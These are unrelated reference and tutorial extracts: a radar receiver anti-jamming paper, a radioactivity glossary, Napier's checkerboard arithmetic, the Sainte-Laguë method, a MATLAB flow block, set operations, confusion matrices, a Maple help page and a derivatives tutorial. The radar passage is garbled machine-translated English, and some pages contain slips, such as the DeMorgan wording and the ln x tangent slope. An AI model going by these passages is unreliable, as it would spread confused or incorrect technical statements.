In consideration of the digital signal processing, most of the modern radar so described below domain processing method of matching filter, the basic principle is: FFT of the input signal, multiplied by the frequency response function, digital filter, the signal sequence of IFFT compressed output [4]. Similarly, the frequency response function of the matched filter is the complex conjugate of the FFT transform of the input signal in a radar period, not the whole input signal. Specific steps are as follows:
1) Design matched function for transmitting signals
{h}_{\text{1}}\left(n\right)={K}_{t}\mathrm{exp}\left\{j\text{π}b{\left(n\frac{1}{{F}_{s}}\right)}^{2}\right\}
where b represent for linear frequency modulation, the slope sampling rate is
{F}_{s}
, and the signal number is
M={F}_{s}\cdot {T}_{P}
(pulse width
{T}_{P}
{K}_{t}
is the coefficient of the matched filtering function.
{h}_{2}\left(n\right)={h}_{1}\left(n\right)\ast w\left(n\right)
n=0,1,\cdots ,M
w\left(n\right)
is the window function.
3) Zero padding FFT processing
h\left(n\right)=\left\{\begin{array}{l}{h}_{2}\left(n\right),\begin{array}{cc}& \text{\hspace{0.17em}}\text{\hspace{0.17em}}\text{\hspace{0.17em}}\text{\hspace{0.17em}}n=0,1,\cdots ,M-1\end{array}\\ 0,\begin{array}{cccc}& & & \text{\hspace{0.17em}}n=M,\cdots ,N-1\end{array}\end{array}
4) The radar target echo signal is transformed by Fu Liye transform
X\left(K\right)=FFT\left[x\left(n\right)\right]
x\left(n\right)
n=0,1,\cdots ,N-1
5) Matched filter output:
y\left(n\right)=IFFT\left[X\left(K\right)H\left(K\right)\right]
2.3. Experiment of Anti-Interference Circuit for Receiver
Anti-interference measures mainly around the part of the receiver circuit time constant control, gain control, adjustment of the threshold, with the auxiliary channel and signal accumulation, and gain control circuit with constant control often used in combination [5].
Inspired by the analysis of the reference [5], anti-jamming circuit in radar receiver, taking as the main object, wide & narrow, adjacent noise automatic gain control, IAGC, multilevel filter anti-jamming measures in 1 million pulses per second signal interference conditions, were measured respectively before and after the pulse interference signal anti-interference circuits are added. The SNR changes when the noisy signals’ width is 100% greater than 60% is greater than 100% and less than the pulse width of the radar signal under the condition of three groups of quantitative analysis data is given; then the quantitative analysis of the receiver filter bandwidth in 0.6 - 0.8 between the changes before and after filtering the noise energy ratio, which provides the quantitative basis for the receiver filter bandwidth choose.
In the experiment, firstly the jamming signal generation module generates 1 million pulses per second interference signal when the interference signals’ width is 100% greater than 60% is greater than 100% and less than the pulse width of the radar signal, the reference signal frequency is 100 MHz, pulse width is 1, the sampling rate is 3 times of the signal frequency.
The screenshot of the interference signal is shown in Figures 1-3, where the length of each frame is 0.001 ms, a total of 0.1 ms.
Through the calculation of before and after the addition of wide & narrow, the adjacent noise automatic gain control, IAGC, multilevel filter circuit signal to interference ratio (the target echo signal is 100 kilometers away), get the SNR curve as shown in Figure 4, which did not join the anti interference circuit SNR curve for the red curve, and the green curve to join the anti interference circuit after the SNR curve can be seen:
Figure 1. The pulse width of interference signal is 100% larger than that of radar signal pulse width.
Figure 2. The pulse width of interference signal is 60% larger than that of radar signal pulse width.
Figure 3. The pulse width of interference signal 100% is less than the jamming signal of radar pulse width.
Figure 4. The change curve of the signal to dry ratio before and after the anti interference circuit is added.
1) when the initial interference free, the signals’ ratio is 0.5 - 2;
2) when the interference is weak, the improvement effect is better;
3) interference pulse width is greater than the pulse width of the signal, improve the 5 - 7 dB, the overall effect is best; more than 60% of the width of the pulse width of the signal interference, improve 2 - 4 DB in average, the pulse width is smaller than the middle; interference signal pulse width, improve 0 - 1 DB in average. Experiments show that the receiver anti-jamming circuit is designed for wide pulse interference.
In view of the optimal theoretical value receiver filter design (for Gauss type pulse signal and square wave type) for the =0.72, we make changes between 0.6 - 0.8 in the test, and the filter widening value changes in the 0.1 - 0.5 MHz, other parameters as above, get the change of noise into the receiver. Figure 5 shows the signals before and after the filter processing.
At present, although the radar receiver technology is relatively mature and has developed many anti-jamming circuit, the fierce combat conditions produce electromagnetic radiation signal types, full spectrum, high density, mutual influence will inevitably invade to the electronic equipment and strong interference, the receiver as the “front-line troops” against these signals in the complicated electromagnetic environment still need to do a lot of research work.
Figure 5. Noise signal before and after filtering.
Firstly, the signal density in future battlefield environment is expected up to 1.5 million pulses per second, the equivalent of 1800 sources of electromagnetic radiation and radiation combined [1], bear the brunt of this kind of high strength and high density of electromagnetic environment of radar receiver. If the residual interference is large enough after antenna interference, the saturation of receiver processing system will be caused, and the receiver saturation will lead to the loss of target information and the receiver will be burned. Therefore, it is necessary to develop the corresponding gain control and anti saturation circuit according to the use of radar. At present, the wide limited narrow circuit technology is mainly used to resist sweep frequency interference and wide pulse interference. For other types of interference and complex electromagnetic environment, the problem of receiving high intensity and high density signals is still not well solved.
Secondly, combination of various interference receiver circuit are worthy of further study. Our simulation experimental results show that, in addition to 1 million pulses per second interference, the wide-narrow limit circuit, adjacent noise automatic gain control, fast time constant and the double threshold anti-jamming circuit, can put on the radar the cross-sectional area of the 5m2 target detection probability is increased by 20%. However, the experience of using the actual device to show that the complex circuit structure and complex function combination can easily lead to the failure rate of the equipment to improve equipment reliability, resulting in the decline, the applicable scope and function of simple circuit and reduce equipment. Therefore, it is necessary to do a lot of experiments on how to set up a reasonable anti-interference circuit combination for the signal reception in complex electromagnetic environment.
Thirdly, in some cases, some of the existing instantaneous automatic gain control makes the signal pulse distortion, because it will make the amplifier bias back off state, even if only in peak signal pulse when the amplifier is in the linear region. Similar problems exist in many anti-jamming measures, that is to say, some anti-jamming circuit may optimize the signal detection under the condition of interference, but in some cases may be counterproductive, so in the development of the anti interference circuit at the same time also need to consider how to improve the robustness of anti-jamming circuit.
Fourthly, electromagnetic pulse bombs and other new weapons has brought forward new challenges to the survival of the radar receiver, how to take effective technology and tactics to prevent these new electromagnetic weapons attack known as one of the most important problems, which puts forward higher requirements on the circuit design of receiver protection.
At last, to provide some enlightenment on the existing double threshold detection and sequential detection method for setting the threshold in the complex electromagnetic environment, how to target differences between signal and disturbance to the traditional threshold calculation method to improve the detection probability, also look forward to the emergence of new ideas and methods.
[1] Han X.D., Sun Q.Y., Shu, T., Tang, B. and Yu, W.X. (2017) Research Assessment. Anti Interference Test of Airborne Active Phased Array Radar. Modern Radar, 39, 91-96.
[2] Yi, W. (2006) Radar Receiver Technology. Electronic Publishing House, Beijing.
[3] Kang, C.G. (2017) Study on the Design Requirement of Ground Based Radar Receiver Using PD System. Modern Radar, 39, 83-86.
[4] Song, X.X. (2016) Filter Circuit Design Based on Marine Navigation Radar Receiver. Electronic and Science University Press, Xi’an.
[5] Zhang, J.T., Sun, H.H. and Duan, R.J. (2015) Review of the Research on Anti-Jamming Technology of Radar Receiver. Journal of Sichuan University of Arts and Science, 25, 36-40.
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Radioactivity - Vocabulary - Course Hero
General Chemistry/Radioactivity/Vocabulary
radioactive decay that gives off an
\rm\alpha
radioactive decay that gives off a
\rm\beta
nucleus in radioactive decay that remains after the emission of radiation
device that uses a metal chip or crystal to absorb radiation and then indicates the total absorbed amount later when subjected to light or heat respectively
process by which a nucleus captures a high-energy electron, transforming a proton into a neutron
radiation therapy that administers high-energy radiation, such as gamma rays from a
{}^{60}{\rm{Co}}
source, directed at the targeted area
\rm\gamma
process of testing the integrity of pipelines and other infrastructure by placing a high-energy radiation source on one side of a structure and a sensor on the other side to examine the structure for defects
device that measures ionizing radiation using a tube filled with inert gas and metal electrodes
time it takes for half the nuclei of a sample of a radioactive element to decay
radiation therapy that administers radiation such as gamma rays or beta particles to the target area of the body through ingestion or implantation at the target site
radiation that has sufficient energy to create ions from the atoms or molecules it strikes
radiation that does not have sufficient energy to create ions from the atoms or molecules it strikes
branch of medicine that uses radioisotopes for diagnosis and treatment
nucleus in radioactive decay that exists before the emission of radiation
radioactive decay that emits a positron
\left({}_{+1}^{\,\,\;0}\rm{e}\right)
and transforms one proton in the nucleus into a neutron
treatment of cancer by irradiating tumors to shrink or eliminate them
process by which an unstable nucleus loses energy by emitting radiation
isotope that emits radiation that can be detected to track the movement of the isotope through a system such as a patient's body
process in which the isotope used to determine the age of a sample is carbon-14 (
{}^{14}\rm{C}
isotope that can be added to a molecule to aid in detection of the molecule
process of using a radioisotope to determine the age of a sample of material
instrument that uses the photoelectric effect to measure ionizing radiation
<Overview>Radioactive Decay
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Addition - Global Math Week
To add three numbers, say,
106
51
42
, represent each number on its own row of the board using counters as dots in a
1 \leftarrow 2
machine. (Of course, Napier did not use our language of Exploding Dots and their machines, but it is clear how our language translates to actions to do with physical counters on the board.)
Then slide all the dots down to the bottom row and perform the usual
1 \leftarrow 2
explosion rule to read off the final answer.
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Sainte-Laguë method - Electowiki
The Webster/Sainte-Laguë Method is a Highest averages method used for allocating seats proportionally for representative assemblies with party list voting systems. It works like D'Hondt method, except that you use divisors 1, 3, 5, 7, ... instead of 1, 2, 3, 4, ...
In the modified Sainte-Laguë method, the first divisor is modified to 1.4. The sequence of divisors is then 1.4, 3, 5, 7, ... The modified Sainte-Laguë method is used for elections to the Danish parliament.
After all the votes have been tallied, successive quotas are calculated for each party. The formula for the quotient is [1]
{\displaystyle \text{quotient} = \frac V {2s+1}}
V is the total number of votes that party received, and
s is the number of seats that have been allocated so far to that party, initially 0 for all parties.
Whichever party has the highest quotient gets the next seat allocated, and their quotient is recalculated. The process is repeated until all seats have been allocated.
The Webster/Sainte-Laguë method does not ensure that a party receiving more than half the votes will win at least half the seats; nor does its modified form.[2]
Several cardinal PR methods reduce to Sainte-Laguë if certain divisors are used. Some of which are:
Webster, unlike D'Hondt, doesn't guarantee that a majority of voters will get at least half of the seats.[3]
2nd-to-last round seats
2nd-to-last round divisors
Final divisors
A 503 50.3% 16 15.2424 (503/33) 17 14.3714 (503/35) 48.57%
B 304 30.4% 10 14.4762 (304/21) 11 13.2174 (304/23) 31.43%
C 193 19.3% 6 14.8461 (193/15) 7 12.8666 (193/15) 20%
Total seats awarded 32 35
If D'Hondt had been used, the final divisor would've been 27.944, with (results calculated by rounding down to the nearest number) Party A getting 18 seats out of 35, a 51.42% majority (503/27.944), B 10 seats (304/27.944), and C 6 seats.
↑ Lijphart, Arend (2003), "Degrees of proportionality of proportional representation formulas", in Grofman, Bernard; Lijphart, Arend (eds.), Electoral Laws and Their Political Consequences, Agathon series on representation, 1, Algora Publishing, pp. 170–179, ISBN 9780875862675 . See in particular the section "Sainte-Lague", pp. 174–175.
↑ Miller, Nicholas R. (2014-12-05). "Election Inversions under Proportional Representation" (PDF). Scandinavian Political Studies. Wiley. 38 (1): 4–25. doi:10.1111/1467-9477.12038. ISSN 0080-6757. Retrieved 2020-03-24.
Retrieved from "https://electowiki.org/w/index.php?title=Sainte-Laguë_method&oldid=10474"
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Earlier we computed
19 \times 5
and got this picture for the answer
95
If we were given this picture of
95
first and was told that it came from a multiplication problem with one of the factors being
5
, could we deduce what the other factor must have been? That is, can we use the picture to compute
95 \div 5
5 = 4 + 1
we will need to slide counters on this picture so that two copies of the same pattern appear in the shaded two rows.
Slide the leftmost dot up to the top shaded row and we see it “completes” the
16
column. Let’s not touch the counters in that column ever again.
We are now left with a smaller division problem: dividing
8+4+2+1
15
5
Slide its leftmost dot up to the top shaded row. This completes the
2
s column and let’s never touch the counters in that column again.
This leaves us with a smaller division problem to contend with:
4+1
5
. Slide its leftmost dot up to the top shaded row to complete the
1
s column.
We see that we have now created the picture of
19 \times 5
95 \div 5 = 19
This loosely illustrates the general principle for doing division on Napier’s checkerboard:
Represent the dividend by dots in the bottom row and the divisor by shaded rows.
Slide the leftmost dot to the top shaded row.
Complete the leftmost column of dots possible in some way you can (you might need to unexplode some dots) and when done never touch those dots again. What is left is a smaller division problem and repeat this procedure for the leftmost dot of that problem.
The procedure described here is loose as our computation
95 \div 5 = 19
ran into no difficulties.
250 \div 13
for something more involved. Here’s its setup.
Slide the leftmost dot to the highest shaded row. Doing so shows we need to work with the
16
s column, but it is not complete.
We can complete it by sliding the current leftmost dot into that column. (That’s convenient!)
Now we have a smaller division problem to work on. Slide the leftmost dot up to the highest shaded row.
What’s the leftmost column we can complete right now without ever touching those dost of the
16
s column? We see that there is no means complete the
8
s column. (What dot can we slide into its top?)
There is no means to complete the
4
s column either. (How do we slide a dot into that
4 \times 4
cell?)
So let’s work on the
2
s column. I can see by sliding the dot in the
8
s column and performing a (horizontal) unexplosion from the
4
s column we can fill up the
2
2
s column is a bit overloaded. Let’s unexplode one of the dots the top pair (horizontally).
All the action is now left in the
1
s column. What can we do to make that column complete? (Remember, dots in completed columns are never to be touched again.) Let’s unexplode downwards a number of times.
This does complete the
1
s column, but with three ones too many.
If we had three less dots —
247
250
— then we would have, right now, a picture of
19 \times 13
247 \div 13 = 19
. So it must be then that
250 \div 13
has a remainder of three and so
250 \div 13 = 19 + \dfrac{3}{13}
Question: Compute
256 \div 10
via Napier’s method.
Question: Is it possible to do polynomial division with Napier’s checkerboard? (Can one compute
\dfrac{1}{1-x}
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Fixed flow resistance - MATLAB - MathWorks Switzerland
Fixed flow resistance
The Local Restriction (2P) block models the pressure drop due to a fixed flow resistance such as an orifice. Ports A and B represent the restriction inlet and outlet. The restriction area, specified in the block dialog box, remains constant during simulation.
{\stackrel{˙}{m}}_{A}+{\stackrel{˙}{m}}_{B}=0,
{\stackrel{˙}{m}}_{A}
{\stackrel{˙}{m}}_{B}
{\varphi }_{A}+{\varphi }_{B}=0,
{u}_{A}+{p}_{A}{\nu }_{A}+\frac{{w}_{A}^{2}}{2}={u}_{R}+{p}_{R}{\nu }_{R}+\frac{{w}_{R}^{2}}{2},
{u}_{B}+{p}_{B}{\nu }_{B}+\frac{{w}_{B}^{2}}{2}={u}_{R}+{p}_{R}{\nu }_{R}+\frac{{w}_{R}^{2}}{2},
{w}_{A}=\frac{{\stackrel{˙}{m}}_{ideal}{\nu }_{A}}{S}
{w}_{B}=\frac{{\stackrel{˙}{m}}_{ideal}{\nu }_{B}}{S}
{w}_{R}=\frac{{\stackrel{˙}{m}}_{ideal}{\nu }_{R}}{{S}_{R}},
{\stackrel{˙}{m}}_{ideal}
{\stackrel{˙}{m}}_{ideal}=\frac{{\stackrel{˙}{m}}_{A}}{{C}_{D}},
\stackrel{˙}{m}={S}_{\text{R}}\left({p}_{\text{A}}-{p}_{\text{B}}\right)\sqrt{\frac{2}{|{p}_{\text{A}}-{p}_{\text{B}}|{\nu }_{\text{R}}{K}_{\text{T}}}},
{K}_{\text{T}}=\left(1+\frac{{S}_{\text{R}}}{S}\right)\left(1-\frac{{\nu }_{\text{in}}}{{\nu }_{\text{out}}}\frac{{S}_{\text{R}}}{S}\right)-2\frac{{S}_{\text{R}}}{S}\left(1-\frac{{\nu }_{\text{out}}}{{\nu }_{\text{R}}}\frac{{S}_{\text{R}}}{S}\right),
\stackrel{˙}{m}={S}_{\text{R}}\left({p}_{\text{A}}-{p}_{\text{B}}\right)\sqrt{\frac{2}{\Delta {p}_{\text{Th}}{\nu }_{\text{R}}{\left(1-\frac{{S}_{\text{R}}}{S}\right)}^{2}},}
\Delta {p}_{\text{Th}}=\left(\frac{{p}_{\text{A}}+{p}_{\text{B}}}{2}\right)\left(1-{B}_{\text{L}}\right),
{p}_{\text{R,L}}={p}_{\text{in}}-\frac{{\nu }_{\text{R}}}{2}{\left(\frac{\stackrel{˙}{m}}{{S}_{\text{R}}}\right)}^{2}\left(1+\frac{{S}_{\text{R}}}{S}\right)\left(1-\frac{{\nu }_{\text{in}}}{{\nu }_{\text{R}}}\frac{{S}_{\text{R}}}{S}\right).
{p}_{\text{R,L}}=\frac{{p}_{\text{A}}+{p}_{\text{B}}}{2}.
Area normal to the flow path at the restriction aperture—the narrow orifice located between the ports. The default value, 0.01 m^2, is the same as the port areas.
A pair of two-phase fluid conserving ports labeled A and B represent the restriction inlet and outlet.
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Set operations: Formulas, Properties, Examples & Exercises | Outlier
Here is an overview of set operations, what they are, properties, examples, and exercises.
Additional Terms for Set Theory and Set Operations
Practice Set Operations
Set operations describe the relationship between two or more sets. In math, a set is just a collection of objects.
These objects (more commonly referred to as elements) can take many forms, such as:
The most common set operations are:
We often represent set operations using Venn Diagrams. In a Venn Diagram, a circle represents each set. The relationship between sets is visually conveyed by the extent to which each circle overlaps with the other. The overlapping sections represent elements that exist in both sets.
Using Venn diagrams, let’s inspect each of the main set operations.
1. Union (A∪B)
The union of two sets, A and B, is the set of distinct elements that are in Set A, Set B, or both A and B.
In a Venn diagram, the union of Set A and Set B is represented by the area distinct to Set A, plus the area distinct to Set B, plus the overlapping portion belonging to both sets.
If A = {1, 2, 3, 4, 5} and B = {3, 4, 5, 6}, the union of Set A and Set B, A∪B = {1, 2, 3, 4, 5, 6}.
2. Intersection (A∩B)
The intersection of two sets, A and B, is the set of elements that are in BOTH Set A and Set B. In a Venn diagram, the intersection is the part where the two sets overlap.
If A = {2, 4, 6, 8, 10} and B = {3, 6, 9, 12, 15}, the intersection of Set A and Set B, A∩B = {6}.
3. Difference (A-B)
The difference of two sets, A-B, is the set of elements that are unique to Set A. In other words, the difference includes the elements that are only in Set A and are not in Set B.
In a Venn diagram, the difference of A and B is the area of circle A minus the part where the two sets overlap.
If A = {4, 8, 12, 16, 20} and B = {4, 5, 16, 18, 20 }, the difference of Set A and Set B, A-B = {8, 12}.
The complement of a set is often denoted by A’ (or
A^c
The complement of a set, Set A, are the elements in a given universal set, Set U, that are not in Set A. A universal set is a set containing all given objects.
Just as basic math operations (+, -,÷,×) have specific properties, set operations also have distinct properties. Here are some of them.
The commutative law for sets is similar to the commutative property of basic mathematical operations, such as addition and multiplication. Just as 3+4 is equal to 4+3, the union (or intersection) of Set A and Set B is equal to the union (or intersection) of Set B and Set A.
Commutative Law for Unions
Commutative Law for Intersections
The associative law for sets is similar to the associative property for basic mathematical operations. Just as 3+(4+5) = (3+4)+5, the associative law for set operations states that when finding the union or intersections of three sets, the grouping (or association) between the sets does not affect the result.
Associative Law for Unions
The union between Sets A, B, and C is not affected by the grouping (or association) of the sets.
Associative Law for Intersections
The intersection between Sets A, B, and C is not affected by the grouping (or association) of the sets.
The distributive law for unions states that the union between Set A and the intersection of Sets B and C is equal to the intersection of the union of Set A and B and the union of Sets A and C.
The distributive law for intersections states that the intersection between Set A and the union of Sets B and C is equal to the union between the intersection of Sets A and B and the intersection of Sets A and C.
This is similar to the distributive law for multiplication, which states, for example, that 2(3+4) = (2x3)+(2x4).
Distributive Law for Unions
Distributive Law for Intersections
4. DeMorgan’s Law
DeMorgan’s law has two parts. The first states that the complement of the intersection of two sets, A and B, is equal to the intersection of the complement of A and the complement of B. The second part states that the complement of the intersection of two sets, A and B, is equal to the union of the complement of A and the complement of B
DeMorgan’s Law of Unions
(A ∪ B)^c
A^c ∩ B^c
DeMorgan’s Law for Intersections
(A ∩ B)^c
A^c∪ B^c
5. Idempotent Property
The idempotent property states that the union of a set with itself is just equal to the set. Similarly, the intersection between a set and itself is equal to the set.
Here are some other key terms you may come across when studying set theory and set operations:
Empty Set - An empty set is a set that has no elements.
Singleton - A singleton (or a unit set) contains just one element.
Finite Set - A finite set is a set with a countable number of elements.
Infinite Set - An infinite set is a set with an unlimited number of elements.
Common Elements - Common elements are elements that are common to both sets. These are the elements in the intersection of the sets.
Subsets - A set, A, is a subset of another set, B, if all of the elements in A are also in B.
Disjoint Sets - Two sets, A and B, are said to be disjoint if they have no elements in common.
Symmetric Difference - The symmetric difference of two sets, A and B, is the set of all elements in A or B, but not in the intersection of A and B.
Test your understanding of set operations with these five exercises. You can check your answers at the end.
Find the union between Set A and Set B, A ∪ B.
A = {blue, purple, orange, yellow, gray}
B= {blue, green, pink, black}
Find the intersection between Set A and Set B, A ∩ B.
B= {23, 24, 25, 26, 27, 28, 29, 30}
Find the difference of Set A and B, A-B.
A = {-1, 0, 3, 5}
B= {1, 2, 3, 4, 7, 12}
Find the complement of Set A,
A^c
U = {Skittles, Kit Kat, Snickers, Starbursts, Smarties, Warheads, Reese’s}
A = {Kit Kat, Snickers, Reese’s}
Match each set property to its appropriate equation.
Associative Law of Intersections ____
Commutative Law of Unions ____
Distributive Law of Intersection ____
DeMorgan’s Law of Unions ____
Idempotent Property for Intersections ____
a. A ∪ (B ∪ C) = (A ∪ B) ∪ C
b. A ∩ B = B ∩ A
c. A ∩ (B ∩ C) = (A ∩ B) ∩ C
d. A ∪ B = B ∪ A
e. A ∪ (B ∩ C) = (A ∪ B) ∩ (A ∪ C)
f. A ∩ (B ∪ C) = (A ∩ B) ∪ (A ∩ C)
(A ∪ B)^c
A^c ∩ B^c
(A ∩ B)^c
A^c ∪ B^c
i. A ∪ A = A
j. A ∩ A = A
A ∪ B = {blue, purple, orange, yellow gray, green, pink , black}
A - B= {-1, 0, 5}
A^c
= {Skittles, Starbursts, Smarties, Warheads}
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confusion_matrix: creating a confusion matrix for model evaluation - mlxtend
Example 1 - Binary classification
Example 2 - Multi-class classification
Example 3 - Multi-class to binary
Functions for generating confusion matrices.
from mlxtend.evaluate import confusion_matrix
The confusion matrix (or error matrix) is one way to summarize the performance of a classifier for binary classification tasks. This square matrix consists of columns and rows that list the number of instances as absolute or relative "actual class" vs. "predicted class" ratios.
P
be the label of class 1 and
N
be the label of a second class or the label of all classes that are not class 1 in a multi-class setting.
y_target = [0, 0, 1, 0, 0, 1, 1, 1]
y_predicted = [1, 0, 1, 0, 0, 0, 0, 1]
cm = confusion_matrix(y_target=y_target,
y_predicted=y_predicted)
To visualize the confusion matrix using matplotlib, see the utility function mlxtend.plotting.plot_confusion_matrix:
fig, ax = plot_confusion_matrix(conf_mat=cm)
y_predicted=y_predicted,
By setting binary=True, all class labels that are not the positive class label are being summarized to class 0. The positive class label becomes class 1.
positive_label=1)
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Hessenberg Algorithm - Maple Help
Home : Support : Online Help : Mathematics : Linear Algebra : LinearAlgebra Package : Generic Subpackage : Hessenberg Algorithm
apply the Hessenberg algorithm to a square Matrix
HessenbergAlgorithm[F](A)
Given an n x n Matrix A of elements in F, a field, HessenbergAlgorithm[F](A) returns a Vector V of n+1 values from F encoding the characteristic polynomial of A as V[1] x^n + V[2] x^(n-1) + .... + V[n] x + V[n+1]
The algorithm converts a copy of A into upper Hessenberg form H using O(n^3) operations in F then expands the determinant of x I - H in a further O(n^3) operations in F. The algorithm requires that F be a field and should only be used if F is finite as there is severe expression swell in computing H.
\mathrm{with}\left(\mathrm{LinearAlgebra}[\mathrm{Generic}]\right):
Q[\mathrm{`0`}],Q[\mathrm{`1`}],Q[\mathrm{`+`}],Q[\mathrm{`-`}],Q[\mathrm{`*`}],Q[\mathrm{`/`}],Q[\mathrm{`=`}]≔0,1,\mathrm{`+`},\mathrm{`-`},\mathrm{`*`},\mathrm{`/`},\mathrm{`=`}:
A≔\mathrm{Matrix}\left([[2,1,4],[3,2,1],[0,0,5]]\right)
\textcolor[rgb]{0,0,1}{A}\textcolor[rgb]{0,0,1}{≔}[\begin{array}{ccc}\textcolor[rgb]{0,0,1}{2}& \textcolor[rgb]{0,0,1}{1}& \textcolor[rgb]{0,0,1}{4}\\ \textcolor[rgb]{0,0,1}{3}& \textcolor[rgb]{0,0,1}{2}& \textcolor[rgb]{0,0,1}{1}\\ \textcolor[rgb]{0,0,1}{0}& \textcolor[rgb]{0,0,1}{0}& \textcolor[rgb]{0,0,1}{5}\end{array}]
C≔\mathrm{HessenbergAlgorithm}[Q]\left(A\right)
\textcolor[rgb]{0,0,1}{C}\textcolor[rgb]{0,0,1}{≔}[\begin{array}{c}\textcolor[rgb]{0,0,1}{1}\\ \textcolor[rgb]{0,0,1}{-9}\\ \textcolor[rgb]{0,0,1}{21}\\ \textcolor[rgb]{0,0,1}{-5}\end{array}]
〈{x}^{3}|{x}^{2}|x|1〉·C
{\textcolor[rgb]{0,0,1}{x}}^{\textcolor[rgb]{0,0,1}{3}}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{9}\textcolor[rgb]{0,0,1}{}{\textcolor[rgb]{0,0,1}{x}}^{\textcolor[rgb]{0,0,1}{2}}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{21}\textcolor[rgb]{0,0,1}{}\textcolor[rgb]{0,0,1}{x}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{5}
LinearAlgebra[Generic][HessenbergForm]
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What Is a Derivative in Calculus? | Outlier
What Is a Derivative in Calculus?
In this article, we’ll discuss the meaning of slope, tangent, and the derivative. We’ll learn how to derive the limit definition of the derivative. Then, we’ll examine the most common derivative rules and practice with some examples.
What Is Slope and Tangent?
What Are the Derivative Formulas?
Examples of How To Find the Derivative of a Function
Where To Practice Derivatives
Differentiation is one of the most fundamental operations in calculus. Knowing how to find the derivative of a function will open up many doors in calculus.
Derivatives measure rates of change. More specifically, derivatives measure instantaneous rates of change at a point. The instantaneous rate of change of the function at a point is equal to the slope of the tangent line at that point.
The first derivative of a function
f
at some given point
a
f’(a)
. This expression is read aloud as “the derivative of
a
f
prime at
a
f’(x)
is the notation used to denote the general derivative function of
. We can also use Leibniz’s notation
\frac{dy}{dx}
to denote the derivative function. We can plug
x = a
f’(x)
to determine the instantaneous rate of change of
x
a
The derivative of
x
equals the limit of the average rate of change of
[x, x +\Delta{x}]
\Delta{x}
approaches 0, where
\Delta{x}
represents a change in
x
f’(x) = \mathop{\lim }\limits_{\Delta{x} \to 0} \frac{{f\left( {x + \Delta{x} } \right) - f\left( x\right)}}{\Delta{x} }=L
Here are the 3 steps to calculate a derivative using this definition:
Substitute your function into the limit definition of a derivative formula.
Evaluate the resulting limit.
Example of How To Calculate a Derivative
Let’s do a very simple example together. Find the derivative of
f(x) = 3x
using the limit definition and the steps given above.
The first step is to substitute
f(x) = 3x
into the limit definition of a derivative. The trick to this step is to substitute the variable
x
with the expression
(x + \Delta{x})
x
f(x) = 3x
f’(x)= \mathop {\lim }\limits_{\Delta{x} \to 0} \frac{{f\left( {x + \Delta{x} } \right) - f\left( x \right)}}{\Delta{x} }
= \mathop {\lim }\limits_{\Delta{x} \to 0} \frac{3(x + \Delta{x}) - 3x}{\Delta{x}}
The next step is to simplify. We’ll do this by expanding the numerator and combining like terms. Then, we can divide by
\Delta{x}
f’(x)= \mathop {\lim }\limits_{\Delta{x} \to 0} \frac{3(x + \Delta{x}) - 3x}{\Delta{x}}
= \mathop {\lim }\limits_{\Delta{x} \to 0} \frac{3x + 3\Delta{x} - 3x}{\Delta{x}}
= \mathop {\lim }\limits_{\Delta{x} \to 0} \frac{3\Delta{x}}{\Delta{x}}
= \mathop {\lim }\limits_{\Delta{x} \to 0} 3
Finally, we can evaluate the limit.
f’(x)= \mathop {\lim }\limits_{\Delta{x} \to 0} 3
f’(x)= 3
Using these steps, we’ve shown that the derivative function of
f(x) = 3x
Since this is a constant function, the derivative of
f(x)
at any point is 3.
What Are Slope and Tangent?
In the above section, we learned the limit definition of a derivative:
f’(x) =\mathop{\lim }\limits_{\Delta{x} \to 0} \frac{{f\left( {x + \Delta{x} } \right) - f\left( x\right)}}{\Delta{x} }=L
But what does this equation mean, and how is it derived? We’ll answer this question in this section.
The slope of a straight line through
(a, f(a))
(b, f(b))
is equal to the change in
y
x
\text{Slope } = \frac{\Delta y}{\Delta x} = \frac{f(b) - f(a)}{b-a}
But what about curves that aren’t straight? For non-linear functions, we can instead find the slope of the curve at a specific point. The slope of a line at a specific point on a curve is called the slope of the tangent line. This value is equal to the instantaneous rate of change, or derivative, at that point.
The tangent line to a function at a specific point is a line that just barely touches the function at that point.
Take a look at the graph below, where the tangent line to the red curve
f(x) = -\ln{x}
(1,0)
is already graphed for us. The blue line represents this tangent line and has the equation
f(x) = -x + 1
. The blue line just barely touches the red line at the point
(1, 0)
Observe that the tangent line
f(x) = -x + 1
is given in slope-intercept form. Slope-intercept form is
f(x) = mx +b
m
is the slope. So, the slope of the tangent line
f(x) = -x + 1
is -1. Since the derivative of a function at a point is equal to the slope of the tangent line at that point, this tells us that the derivative of
f(x) = \ln{(x)}
(1, 0)
is -1. We can also write
f’(1) = -1
Now we’ve learned that the slope of a curve at a specific point on a curve is called the slope of the tangent line. There’s another type of slope that is helpful to us when defining derivatives: the slope of the secant line. The slope between two separate points on a curve is called the slope of the secant line, which is also called the average rate of change.
You’re already familiar with the equation for this; it’s the same as the formula for the slope of a straight line!
\text{Average Rate of Change} = \frac{\Delta{y}}{\Delta{x}} = \frac{f(b)-f(a)}{b-a}
[x, x +\Delta{x}]
, this equation is equal to:
\text{Average Rate of Change} = \frac{f(x + \Delta{x})-f(x)}{\Delta{x}}
\Delta{x}
become closer and closer to 0 in the above equation of the secant line, we get closer and closer to finding the instantaneous rate of change of a function at
x
So, to find the instantaneous rate of change of a function at
x
, we can take the limit of the average rate of change of
[x, x +\Delta{x}]
\Delta{x}
approaches 0. This limit is the formal derivative definition formula:
f’(x) =\mathop{\lim }\limits_{\Delta{x} \to 0} \frac{{f\left( {x + \Delta{x} } \right) - f\left( x\right)}}{\Delta{x} }=L
L
f
L
f
x
We can compute higher order derivatives as well. If the first derivative of a function is differentiable, we can also determine its second derivative. The second derivative is simply the derivative of the first derivative.
Once you understand the definition of a derivative, you can begin to become familiar with the most common derivative formulas. While it’s important to understand how to derive the limit definition of a derivative, these rules offer you some shortcuts to computing derivatives. These formulas allow you to calculate derivatives much faster than using the limit definition of a derivative.
Here are the most frequently used derivative equations. If you forget any of these rules during an exam, you can always rely on the limit definition to calculate the derivative.
\frac{d}{dx}c = 0
\frac{d}{dx}(x^n) = nx^{n-1}
Special Case of the Power Rule (where n=1):
\frac d{dx}(x)=1
\frac d{dx}(c\cdot f(x))=c\cdot f'(x)
Chain Rule or Composite Functions Rule
\frac{d}{dx}f(g(x)) = f’(g(x))g’(x)
\frac{d}{dx}[f(x) \cdot g(x)] = f’(x) \cdot g(x) + f(x)\cdot g’(x)
\frac{d}{dx}[\frac{f(x)}{g(x)}] = \frac{g(x)f’(x)-f(x)g’(x)}{(g(x))^2}
